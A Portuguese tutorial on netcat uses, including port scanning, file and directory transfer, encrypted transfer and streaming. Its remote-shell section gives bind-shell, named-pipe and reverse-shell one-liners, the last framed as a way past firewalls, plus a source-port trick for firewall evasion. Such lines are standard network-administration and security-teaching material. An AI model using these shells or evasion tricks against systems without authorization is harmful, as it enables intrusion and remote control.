O netcat é uma ferramenta de rede extremamente versátil, capaz de ler e escrever dados através de conexões TCP e UDP. Sua flexibilidade permite integração com outros utilitários e redirecionamentos, tornando-o útil em scripts para diversas tarefas automatizadas.
De forma simplificada, o netcat estabelece uma conexão entre dois hosts e manipula dois fluxos de dados. Com essa capacidade, é possível configurar servidores, transferir arquivos, criar canais de comunicação, transmitir mídia ou atuar como cliente para diversos protocolos.
- Varredura de portas
A identificação de portas abertas é uma técnica comum para descobrir serviços ativos em um sistema. O netcat pode realizar isso de maneira eficiente.
$ nc -z -v -n 192.168.1.100 80-443
Este comando realiza uma verificação nas portas de 80 a 443 no host 192.168.1.100. A opção -z configura o modo de varredura (apenas verifica, sem enviar dados), -v habilita a saída detalhada e -n evita consultas DNS reversas. O padrão é usar TCP; adicione -u para UDP.
Após identificar portas abertas, pode-se conectar diretamente para obter informações do banner do serviço:
$ nc -v 192.168.1.100 80
- Servidor de bate-papo
Em ambientes com restrições de rede, o netcat permite a comunicação direta entre máquinas.
Na máquina servidora, execute:
$ nc -l -p 4444
Na máquina cliente, conecte-se ao servidor:
$ nc 192.168.1.100 4444
Tudo digitado no cliente será exibido no sevridor e vice-versa, permitindo uma comunicação bidirecional simples.
- Transferência de arquivos
Para enviar um arquivo de uma máquina para outra sem configuração complexa:
Na máquina que enviará o arquivo (servidor):
$ nc -l -p 5555 < documento.txt
Na máquina receptora (cliente):
$ nc 192.168.1.100 5555 > documento_recebido.txt
O fluxo pode ser invertido, fazendo o cliente enviar o arquivo para o servidor:
# Servidor (receptor)
$ nc -l -p 5555 > recebido.txt
# Cliente (remetente)
$ nc 192.168.1.100 5555 < enviado.txt
- Transferência de diretórios
Para enviar uma pasta inteira, combine o netcat com ferramentas como tar.
# Servidor (envia o diretório)
$ tar -cvf - minha_pasta/ | nc -l -p 6666
# Cliente (recebe e extrai)
$ nc 192.168.1.100 6666 | tar -xvf -
Para economizar banda, adicione compressão com gzip:
# Servidor
$ tar -cvf - minha_pasta/ | gzip | nc -l -p 6666
# Cliente
$ nc 192.168.1.100 6666 | gzip -d | tar -xvf -
- Criptografia de dados
Para proteger os dados durante a transferência, utilize uma ferramenta de criptografia como openssl.
# Servidor (recebe e descriptografa)
$ nc -l -p 7777 | openssl enc -aes-256-cbc -d -out arquivo_secreto
# Cliente (criptografa e envia)
$ openssl enc -aes-256-cbc -in arquivo_confidencial | nc 192.168.1.100 7777
Ambos os lados precisarão da mesma chave secreta para a operação bem-sucedida.
- Transmissão de mídia
Embora não seja ideal, é possível transmitir vídeo básico.
# Servidor (transmite o vídeo)
$ cat video.mp4 | nc -l -p 8888
# Cliente (reproduz)
$ nc 192.168.1.100 8888 | mplayer -cache 2048 -
- Shell remoto
Se o netcat tiver suporte ao parâmetro -e:
# Servidor (executa o shell)
$ nc -l -p 9999 -e /bin/bash
# Cliente (conecta)
$ nc 192.168.1.100 9999
Para versões do netcat sem -e, utilize um named pipe:
# Servidor
$ mkfifo /tmp/conexao
$ cat /tmp/conexao | /bin/bash 2>&1 | nc -l -p 9999 > /tmp/conexao
O cliente se conecta normalmente. Para uma reverse shell (útil para contornar firewalls):
# Servidor (escuta)
$ nc -l -p 9999
# Cliente (conecta e fornece o shell)
$ nc 192.168.1.100 9999 -e /bin/bash
- Opções de conexão avançadas
Para especificar a porta de origem (ex.: porta 25 permitida pelo firewall):
$ nc -p 25 192.168.1.100 80
Para selecionar um endereço IP específico de origem em máquinas com múltiplas interfaces:
$ nc -s 10.0.0.5 192.168.1.100 80
Esses exemplos ilustram apenas uma fração das possibilidades. O netcat pode atuar como cliente Telnet, ferramenta HTTP simples, cliente SMTP, ou em conjunto com utilitários como ffmpeg para captura e streaming. Seu potencial é defiindo pelo conhecimanto do protocolo de rede a ser utilizado.